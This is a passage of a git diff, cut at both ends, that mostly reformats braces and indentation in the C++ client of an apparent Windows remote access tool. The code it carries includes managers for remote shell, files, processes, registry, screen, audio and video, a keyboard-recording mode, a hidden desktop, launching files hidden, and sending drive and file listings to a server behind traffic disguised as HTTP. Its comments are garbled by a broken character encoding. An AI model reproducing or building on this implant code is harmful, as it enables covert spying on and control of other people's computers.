n=1) + { + m_Locker.Lock(); + m_nCount+=n; + m_Locker.Unlock(); + } + static int GetCount() + { + m_Locker.Lock(); + int n = m_nCount; + m_Locker.Unlock(); + return n; + } + static void Wait() + { + while (GetCount()) + Sleep(50); + } + bool IsThreadRun() + { + m_Locker.Lock(); + BOOL n = g_bThreadExit; + m_Locker.Unlock(); + return FALSE == n; + } + void SetThreadRun(BOOL run = TRUE) + { + m_Locker.Lock(); + g_bThreadExit = !run; + m_Locker.Unlock(); + } + void SetProcessState(State state = S_CLIENT_NORMAL) + { + m_Locker.Lock(); + g_bExit = state; + m_Locker.Unlock(); + } +} ClientApp; ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE); diff --git a/client/Common.cpp b/client/Common.cpp index 74067a5..776dbef 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -13,37 +13,36 @@ #include "KeyboardManager.h" #include "ProxyManager.h" -#include "KernelManager.h" +#include "KernelManager.h" #include DWORD WINAPI ThreadProc(LPVOID lParam) { - THREAD_ARG_LIST ThreadArgList = {0}; - memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); - SetEvent(ThreadArgList.hEvent); + THREAD_ARG_LIST ThreadArgList = {0}; + memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); + SetEvent(ThreadArgList.hEvent); - DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); - return dwReturn; + DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); + return dwReturn; } template DWORD WINAPI LoopManager(LPVOID lParam) { - ThreadInfo *pInfo = (ThreadInfo *)lParam; - IOCPClient *ClientObject = (IOCPClient *)pInfo->p; - CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); - ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); - if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) - { - Manager m(ClientObject, n, pInfo->user); - pInfo->user = &m; - ClientObject->RunEventLoop(pInfo->run); - pInfo->user = NULL; - } - delete ClientObject; - pInfo->p = NULL; + ThreadInfo *pInfo = (ThreadInfo *)lParam; + IOCPClient *ClientObject = (IOCPClient *)pInfo->p; + CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn)); + ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()); + if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { + Manager m(ClientObject, n, pInfo->user); + pInfo->user = &m; + ClientObject->RunEventLoop(pInfo->run); + pInfo->user = NULL; + } + delete ClientObject; + pInfo->p = NULL; - return 0; + return 0; } #ifdef _WIN64 @@ -54,88 +53,89 @@ template DWORD WINAPI LoopManager(LPVOID lParam) #endif void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac); #else -void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) { - return ClientObject->RunEventLoop(TRUE); +void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) +{ + return ClientObject->RunEventLoop(TRUE); } #endif -DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) { - IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc); - if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) - { - CScreenManager m(ClientObject, 32, (void*)1); - if (IsWindows8orHigher()) { - ShowBlackWindow(ClientObject, conn, hash, hmac); - } - else { - ClientObject->RunEventLoop(TRUE); - } - } - delete ClientObject; +DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) +{ + IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc); + if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) { + CScreenManager m(ClientObject, 32, (void*)1); + if (IsWindows8orHigher()) { + ShowBlackWindow(ClientObject, conn, hash, hmac); + } else { + ClientObject->RunEventLoop(TRUE); + } + } + delete ClientObject; - return 0; + return 0; } DWORD WINAPI LoopScreenManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopFileManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopTalkManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopShellManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } -DWORD WINAPI LoopProcessManager(LPVOID lParam) +DWORD WINAPI LoopProcessManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopWindowManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopVideoManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopAudioManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopRegisterManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopServicesManager(LPVOID lParam) { - return LoopManager(lParam); + return LoopManager(lParam); } DWORD WINAPI LoopKeyboardManager(LPVOID lParam) { - iniFile cfg(CLIENT_PATH); - std::string s = cfg.GetStr("settings", "kbrecord", "No"); - if (s == "Yes") { - return LoopManager(lParam); - } - return LoopManager(lParam); + iniFile cfg(CLIENT_PATH); + std::string s = cfg.GetStr("settings", "kbrecord", "No"); + if (s == "Yes") { + return LoopManager(lParam); + } + return LoopManager(lParam); } -DWORD WINAPI LoopProxyManager(LPVOID lParam) { - return LoopManager(lParam); +DWORD WINAPI LoopProxyManager(LPVOID lParam) +{ + return LoopManager(lParam); } diff --git a/client/Common.h b/client/Common.h index 805fe61..6cb03ce 100644 --- a/client/Common.h +++ b/client/Common.h @@ -3,20 +3,21 @@ #include "IOCPClient.h" #include "common/commands.h" -typedef struct _THREAD_ARG_LIST -{ - DWORD (WINAPI *StartAddress)(LPVOID lParameter); - LPVOID lParam; - bool bInteractive; // Ƿֽ֧ ?? - HANDLE hEvent; -}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST; +typedef struct _THREAD_ARG_LIST { + DWORD (WINAPI *StartAddress)(LPVOID lParameter); + LPVOID lParam; + bool bInteractive; // Ƿֽ֧ ?? + HANDLE hEvent; +} THREAD_ARG_LIST, *LPTHREAD_ARG_LIST; -typedef struct UserParam -{ - BYTE* buffer; - int length; - ~UserParam() { SAFE_DELETE_ARRAY(buffer); } -}UserParam; +typedef struct UserParam { + BYTE* buffer; + int length; + ~UserParam() + { + SAFE_DELETE_ARRAY(buffer); + } +} UserParam; DWORD WINAPI ThreadProc(LPVOID lParam); DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac); diff --git a/client/CursorInfo.h b/client/CursorInfo.h index 566d3be..b64e4a0 100644 --- a/client/CursorInfo.h +++ b/client/CursorInfo.h @@ -10,9 +10,9 @@ #endif // _MSC_VER > 1000 enum { - USING_GDI = 0, - USING_DXGI = 1, - USING_VIRTUAL = 2, + USING_GDI = 0, + USING_DXGI = 1, + USING_VIRTUAL = 2, }; #define ALGORITHM_GRAY 0 @@ -26,61 +26,58 @@ enum { class CCursorInfo { private: - LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE]; - HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE]; + LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE]; + HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE]; public: - CCursorInfo() - { - LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = - { - IDC_APPSTARTING, - IDC_ARROW, - IDC_CROSS, - IDC_HAND, - IDC_HELP, - IDC_IBEAM, - IDC_ICON, - IDC_NO, - IDC_SIZE, - IDC_SIZEALL, - IDC_SIZENESW, - IDC_SIZENS, - IDC_SIZENWSE, - IDC_SIZEWE, - IDC_UPARROW, - IDC_WAIT - }; + CCursorInfo() + { + LPCTSTR CursorResArray[MAX_CURSOR_TYPE] = { + IDC_APPSTARTING, + IDC_ARROW, + IDC_CROSS, + IDC_HAND, + IDC_HELP, + IDC_IBEAM, + IDC_ICON, + IDC_NO, + IDC_SIZE, + IDC_SIZEALL, + IDC_SIZENESW, + IDC_SIZENS, + IDC_SIZENWSE, + IDC_SIZEWE, + IDC_UPARROW, + IDC_WAIT + }; - for (int i = 0; i < MAX_CURSOR_TYPE; ++i) - { - m_CursorResArray[i] = CursorResArray[i]; - m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]); - } - } + for (int i = 0; i < MAX_CURSOR_TYPE; ++i) { + m_CursorResArray[i] = CursorResArray[i]; + m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]); + } + } - int getCurrentCursorIndex() const - { - CURSORINFO ci; - ci.cbSize = sizeof(CURSORINFO); - if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) - return -1; + int getCurrentCursorIndex() const + { + CURSORINFO ci; + ci.cbSize = sizeof(CURSORINFO); + if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) + return -1; - int i; - for (i = 0; i < MAX_CURSOR_TYPE; ++i) - { - if (ci.hCursor == m_CursorHandleArray[i]) - break; - } + int i; + for (i = 0; i < MAX_CURSOR_TYPE; ++i) { + if (ci.hCursor == m_CursorHandleArray[i]) + break; + } - int nIndex = i == MAX_CURSOR_TYPE ? -1 : i; - return nIndex; - } + int nIndex = i == MAX_CURSOR_TYPE ? -1 : i; + return nIndex; + } - HCURSOR getCursorHandle( int nIndex ) const - { - return (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) ? m_CursorHandleArray[nIndex] : NULL; - } + HCURSOR getCursorHandle( int nIndex ) const + { + return (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE) ? m_CursorHandleArray[nIndex] : NULL; + } }; diff --git a/client/FileManager.cpp b/client/FileManager.cpp index fca8e61..d203637 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -5,11 +5,10 @@ #include "FileManager.h" #include -typedef struct -{ - DWORD dwSizeHigh; - DWORD dwSizeLow; -}FILESIZE; +typedef struct { + DWORD dwSizeHigh; + DWORD dwSizeLow; +} FILESIZE; ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -17,64 +16,63 @@ typedef struct CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient) { - m_nTransferMode = TRANSFER_MODE_NORMAL; - // б, ʼļ߳ - SendDriveList(); + m_nTransferMode = TRANSFER_MODE_NORMAL; + // б, ʼļ߳ + SendDriveList(); } CFileManager::~CFileManager() { - m_UploadList.clear(); + m_UploadList.clear(); } VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { - switch (lpBuffer[0]) - { - case COMMAND_LIST_FILES:// ȡļб - SendFilesList((char *)lpBuffer + 1); - break; - case COMMAND_DELETE_FILE:// ɾļ - DeleteFile((char *)lpBuffer + 1); - SendToken(TOKEN_DELETE_FINISH); - break; - case COMMAND_DELETE_DIRECTORY:// ɾļ - DeleteDirectory((char *)lpBuffer + 1); - SendToken(TOKEN_DELETE_FINISH); - break; - case COMMAND_DOWN_FILES: // ϴļ - UploadToRemote(lpBuffer + 1); - break; - case COMMAND_CONTINUE: // ϴļ - SendFileData(lpBuffer + 1); - break; - case COMMAND_CREATE_FOLDER: - CreateFolder(lpBuffer + 1); - break; - case COMMAND_RENAME_FILE: - Rename(lpBuffer + 1); - break; - case COMMAND_STOP: - StopTransfer(); - break; - case COMMAND_SET_TRANSFER_MODE: - SetTransferMode(lpBuffer + 1); - break; - case COMMAND_FILE_SIZE: - CreateLocalRecvFile(lpBuffer + 1); - break; - case COMMAND_FILE_DATA: - WriteLocalRecvFile(lpBuffer + 1, nSize -1); - break; - case COMMAND_OPEN_FILE_SHOW: - OpenFile((char *)lpBuffer + 1, SW_SHOW); - break; - case COMMAND_OPEN_FILE_HIDE: - OpenFile((char *)lpBuffer + 1, SW_HIDE); - break; - default: - break; - } + switch (lpBuffer[0]) { + case COMMAND_LIST_FILES:// ȡļб + SendFilesList((char *)lpBuffer + 1); + break; + case COMMAND_DELETE_FILE:// ɾļ + DeleteFile((char *)lpBuffer + 1); + SendToken(TOKEN_DELETE_FINISH); + break; + case COMMAND_DELETE_DIRECTORY:// ɾļ + DeleteDirectory((char *)lpBuffer + 1); + SendToken(TOKEN_DELETE_FINISH); + break; + case COMMAND_DOWN_FILES: // ϴļ + UploadToRemote(lpBuffer + 1); + break; + case COMMAND_CONTINUE: // ϴļ + SendFileData(lpBuffer + 1); + break; + case COMMAND_CREATE_FOLDER: + CreateFolder(lpBuffer + 1); + break; + case COMMAND_RENAME_FILE: + Rename(lpBuffer + 1); + break; + case COMMAND_STOP: + StopTransfer(); + break; + case COMMAND_SET_TRANSFER_MODE: + SetTransferMode(lpBuffer + 1); + break; + case COMMAND_FILE_SIZE: + CreateLocalRecvFile(lpBuffer + 1); + break; + case COMMAND_FILE_DATA: + WriteLocalRecvFile(lpBuffer + 1, nSize -1); + break; + case COMMAND_OPEN_FILE_SHOW: + OpenFile((char *)lpBuffer + 1, SW_SHOW); + break; + case COMMAND_OPEN_FILE_HIDE: + OpenFile((char *)lpBuffer + 1, SW_HIDE); + break; + default: + break; + } } @@ -85,8 +83,7 @@ bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) // Make a copy of the string for editing. - __try - { + __try { pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1)); if(pszDirCopy == NULL) @@ -99,89 +96,71 @@ bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) // If the second character in the path is "\", then this is a UNC // path, and we should skip forward until we reach the 2nd \ in the path. - if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) - { + if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\'))) { p++; // Skip over the first \ in the name. p++; // Skip over the second \ in the name. // Skip until we hit the first "\" (\\Server\). - while(*p && *p != TEXT('\\')) - { + while(*p && *p != TEXT('\\')) { p = CharNext(p); } // Advance over it. - if(*p) - { + if(*p) { p++; } // Skip until we hit the second "\" (\\Server\Share\). - while(*p && *p != TEXT('\\')) - { + while(*p && *p != TEXT('\\')) { p = CharNext(p); } // Advance over it also. - if(*p) - { + if(*p) { p++; } - } - else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's : - { + } else if(*(p+1) == TEXT(':')) { // Not a UNC. See if it's : p++; p++; // If it exists, skip over the root specifier - if(*p && (*p == TEXT('\\'))) - { + if(*p && (*p == TEXT('\\'))) { p++; } } - while(*p) - { - if(*p == TEXT('\\')) - { + while(*p) { + if(*p == TEXT('\\')) { *p = TEXT('\0'); dwAttributes = GetFileAttributes(pszDirCopy); // Nothing exists with this name. Try to make the directory name and error if unable to. - if(dwAttributes == 0xffffffff) - { - if(!CreateDirectory(pszDirCopy, NULL)) - { - if(GetLastError() != ERROR_ALREADY_EXISTS) - { + if(dwAttributes == 0xffffffff) { + if(!CreateDirectory(pszDirCopy, NULL)) { + if(GetLastError() != ERROR_ALREADY_EXISTS) { free(pszDirCopy); return FALSE; } } - } - else - { - if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) - { + } else { + if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) { // Something exists with this name, but it's not a directory... Error free(pszDirCopy); return FALSE; } } - + *p = TEXT('\\'); } p = CharNext(p); } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { + } __except(EXCEPTION_EXECUTE_HANDLER) { free(pszDirCopy); return FALSE; } @@ -192,597 +171,553 @@ bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd) { - char lpSubKey[500]; - HKEY hKey; - char strTemp[MAX_PATH]; - LONG nSize = sizeof(strTemp); - char *lpstrCat = NULL; - memset(strTemp, 0, sizeof(strTemp)); - - const char *lpExt = strrchr(lpFile, '.'); - if (!lpExt) - return false; - - if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) - return false; - RegQueryValue(hKey, NULL, strTemp, &nSize); - RegCloseKey(hKey); - memset(lpSubKey, 0, sizeof(lpSubKey)); - wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp); - - if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) - return false; - memset(strTemp, 0, sizeof(strTemp)); - nSize = sizeof(strTemp); - RegQueryValue(hKey, NULL, strTemp, &nSize); - RegCloseKey(hKey); - - lpstrCat = strstr(strTemp, "\"%1"); - if (lpstrCat == NULL) - lpstrCat = strstr(strTemp, "%1"); - - if (lpstrCat == NULL) - { - lstrcat(strTemp, " "); - lstrcat(strTemp, lpFile); - } - else - lstrcpy(lpstrCat, lpFile); - - STARTUPINFO si = {0}; - PROCESS_INFORMATION pi; - si.cb = sizeof si; - if (nShowCmd != SW_HIDE) - si.lpDesktop = "WinSta0\\Default"; - - CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - return true; + char lpSubKey[500]; + HKEY hKey; + char strTemp[MAX_PATH]; + LONG nSize = sizeof(strTemp); + char *lpstrCat = NULL; + memset(strTemp, 0, sizeof(strTemp)); + + const char *lpExt = strrchr(lpFile, '.'); + if (!lpExt) + return false; + + if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) + return false; + RegQueryValue(hKey, NULL, strTemp, &nSize); + RegCloseKey(hKey); + memset(lpSubKey, 0, sizeof(lpSubKey)); + wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp); + + if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) + return false; + memset(strTemp, 0, sizeof(strTemp)); + nSize = sizeof(strTemp); + RegQueryValue(hKey, NULL, strTemp, &nSize); + RegCloseKey(hKey); + + lpstrCat = strstr(strTemp, "\"%1"); + if (lpstrCat == NULL) + lpstrCat = strstr(strTemp, "%1"); + + if (lpstrCat == NULL) { + lstrcat(strTemp, " "); + lstrcat(strTemp, lpFile); + } else + lstrcpy(lpstrCat, lpFile); + + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi; + si.cb = sizeof si; + if (nShowCmd != SW_HIDE) + si.lpDesktop = "WinSta0\\Default"; + + CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return true; } UINT CFileManager::SendDriveList() { - char DriveString[256]; - // ǰһֽΪƣ52ֽΪ - BYTE DriveList[1024]; - char FileSystem[MAX_PATH]; - char *pDrive = NULL; - DriveList[0] = TOKEN_DRIVE_LIST; // б - GetLogicalDriveStrings(sizeof(DriveString), DriveString); - pDrive = DriveString; + char DriveString[256]; + // ǰһֽΪƣ52ֽΪ + BYTE DriveList[1024]; + char FileSystem[MAX_PATH]; + char *pDrive = NULL; + DriveList[0] = TOKEN_DRIVE_LIST; // б + GetLogicalDriveStrings(sizeof(DriveString), DriveString); + pDrive = DriveString; - unsigned __int64 HDAmount = 0; - unsigned __int64 HDFreeSpace = 0; - unsigned __int64 AmntMB = 0; // ܴС - unsigned __int64 FreeMB = 0; // ʣռ + unsigned __int64 HDAmount = 0; + unsigned __int64 HDFreeSpace = 0; + unsigned __int64 AmntMB = 0; // ܴС + unsigned __int64 FreeMB = 0; // ʣռ - DWORD dwOffset = 1; - for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) - { - memset(FileSystem, 0, sizeof(FileSystem)); - // õļϵͳϢС - GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); - SHFILEINFO sfi = {}; - SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); - - int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; - int nFileSystemLen = lstrlen(FileSystem) + 1; - - // ̴С - if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) - { - AmntMB = HDAmount / 1024 / 1024; - FreeMB = HDFreeSpace / 1024 / 1024; - } - else - { - AmntMB = 0; - FreeMB = 0; - } - // ʼֵ - DriveList[dwOffset] = pDrive[0]; - DriveList[dwOffset + 1] = GetDriveType(pDrive); - - // ̿ռռȥ8ֽ - memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long)); - memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long)); - - // ̾ - memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen); - memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen); - - dwOffset += 10 + nTypeNameLen + nFileSystemLen; - } - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask); + DWORD dwOffset = 1; + for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) { + memset(FileSystem, 0, sizeof(FileSystem)); + // õļϵͳϢС + GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); + SHFILEINFO sfi = {}; + SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + + int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; + int nFileSystemLen = lstrlen(FileSystem) + 1; + + // ̴С + if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) { + AmntMB = HDAmount / 1024 / 1024; + FreeMB = HDFreeSpace / 1024 / 1024; + } else { + AmntMB = 0; + FreeMB = 0; + } + // ʼֵ + DriveList[dwOffset] = pDrive[0]; + DriveList[dwOffset + 1] = GetDriveType(pDrive); + + // ̿ռռȥ8ֽ + memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long)); + memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long)); + + // ̾ + memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen); + memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen); + + dwOffset += 10 + nTypeNameLen + nFileSystemLen; + } + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask); } UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { - // ô䷽ʽ - m_nTransferMode = TRANSFER_MODE_NORMAL; + // ô䷽ʽ + m_nTransferMode = TRANSFER_MODE_NORMAL; - UINT nRet = 0; - char strPath[MAX_PATH]; - char *pszFileName = NULL; - LPBYTE lpList = NULL; - HANDLE hFile; - DWORD dwOffset = 0; // λָ - int nLen = 0; - DWORD nBufferSize = 1024 * 10; // ȷ10KĻ - WIN32_FIND_DATA FindFileData; - - lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); - if (lpList==NULL) - { - return 0; - } - - wsprintf(strPath, "%s\\*.*", lpszDirectory); - hFile = FindFirstFile(strPath, &FindFileData); + UINT nRet = 0; + char strPath[MAX_PATH]; + char *pszFileName = NULL; + LPBYTE lpList = NULL; + HANDLE hFile; + DWORD dwOffset = 0; // λָ + int nLen = 0; + DWORD nBufferSize = 1024 * 10; // ȷ10KĻ + WIN32_FIND_DATA FindFileData; - if (hFile == INVALID_HANDLE_VALUE) - { - BYTE bToken = TOKEN_FILE_LIST; - return Send(&bToken, 1); - } - - *lpList = TOKEN_FILE_LIST; - - // 1 Ϊݰͷռֽ,ֵ - dwOffset = 1; - /* - ļ 1 - ļ strlen(filename) + 1 ('\0') - ļС 4 - */ - do - { - // ̬չ - if (dwOffset > (nBufferSize - MAX_PATH * 2)) - { - nBufferSize += MAX_PATH * 2; - lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); - if (lpList == NULL) - continue; - } - pszFileName = FindFileData.cFileName; - if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) - continue; - // ļ 1 ֽ - *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; - dwOffset++; - // ļ lstrlen(pszFileName) + 1 ֽ - nLen = lstrlen(pszFileName); - memcpy(lpList + dwOffset, pszFileName, nLen); - dwOffset += nLen; - *(lpList + dwOffset) = 0; - dwOffset++; - - // ļС 8 ֽ - memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD)); - memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD)); - dwOffset += 8; - // ʱ 8 ֽ - memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME)); - dwOffset += 8; - } while(FindNextFile(hFile, &FindFileData)); + lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); + if (lpList==NULL) { + return 0; + } - nRet = Send(lpList, dwOffset); + wsprintf(strPath, "%s\\*.*", lpszDirectory); + hFile = FindFirstFile(strPath, &FindFileData); - LocalFree(lpList); - FindClose(hFile); - return nRet; + if (hFile == INVALID_HANDLE_VALUE) { + BYTE bToken = TOKEN_FILE_LIST; + return Send(&bToken, 1); + } + + *lpList = TOKEN_FILE_LIST; + + // 1 Ϊݰͷռֽ,ֵ + dwOffset = 1; + /* + ļ 1 + ļ strlen(filename) + 1 ('\0') + ļС 4 + */ + do { + // ̬չ + if (dwOffset > (nBufferSize - MAX_PATH * 2)) { + nBufferSize += MAX_PATH * 2; + lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (lpList == NULL) + continue; + } + pszFileName = FindFileData.cFileName; + if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) + continue; + // ļ 1 ֽ + *(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; + dwOffset++; + // ļ lstrlen(pszFileName) + 1 ֽ + nLen = lstrlen(pszFileName); + memcpy(lpList + dwOffset, pszFileName, nLen); + dwOffset += nLen; + *(lpList + dwOffset) = 0; + dwOffset++; + + // ļС 8 ֽ + memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD)); + memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD)); + dwOffset += 8; + // ʱ 8 ֽ + memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME)); + dwOffset += 8; + } while(FindNextFile(hFile, &FindFileData)); + + nRet = Send(lpList, dwOffset); + + LocalFree(lpList); + FindClose(hFile); + return nRet; } bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory) { - WIN32_FIND_DATA wfd; - char lpszFilter[MAX_PATH]; - - wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); - - HANDLE hFind = FindFirstFile(lpszFilter, &wfd); - if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ - return FALSE; - - do - { - if (wfd.cFileName[0] != '.') - { - if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) - { - char strDirectory[MAX_PATH]; - wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); - DeleteDirectory(strDirectory); - } - else - { - char strFile[MAX_PATH]; - wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); - DeleteFile(strFile); - } - } - } while (FindNextFile(hFind, &wfd)); - - FindClose(hFind); // رղҾ - - if(!RemoveDirectory(lpszDirectory)) - { - return FALSE; - } - return true; + WIN32_FIND_DATA wfd; + char lpszFilter[MAX_PATH]; + + wsprintf(lpszFilter, "%s\\*.*", lpszDirectory); + + HANDLE hFind = FindFirstFile(lpszFilter, &wfd); + if (hFind == INVALID_HANDLE_VALUE) // ûҵʧ + return FALSE; + + do { + if (wfd.cFileName[0] != '.') { + if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + char strDirectory[MAX_PATH]; + wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteDirectory(strDirectory); + } else { + char strFile[MAX_PATH]; + wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName); + DeleteFile(strFile); + } + } + } while (FindNextFile(hFind, &wfd)); + + FindClose(hFind); // رղҾ + + if(!RemoveDirectory(lpszDirectory)) { + return FALSE; + } + return true; } UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) { - UINT nRet = 0; - DWORD dwSizeHigh; - DWORD dwSizeLow; - // 1 ֽtoken, 8ֽڴС, ļ, '\0' - HANDLE hFile; - // 浱ǰڲļ - memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName)); - strcpy(m_strCurrentProcessFileName, lpszFileName); + UINT 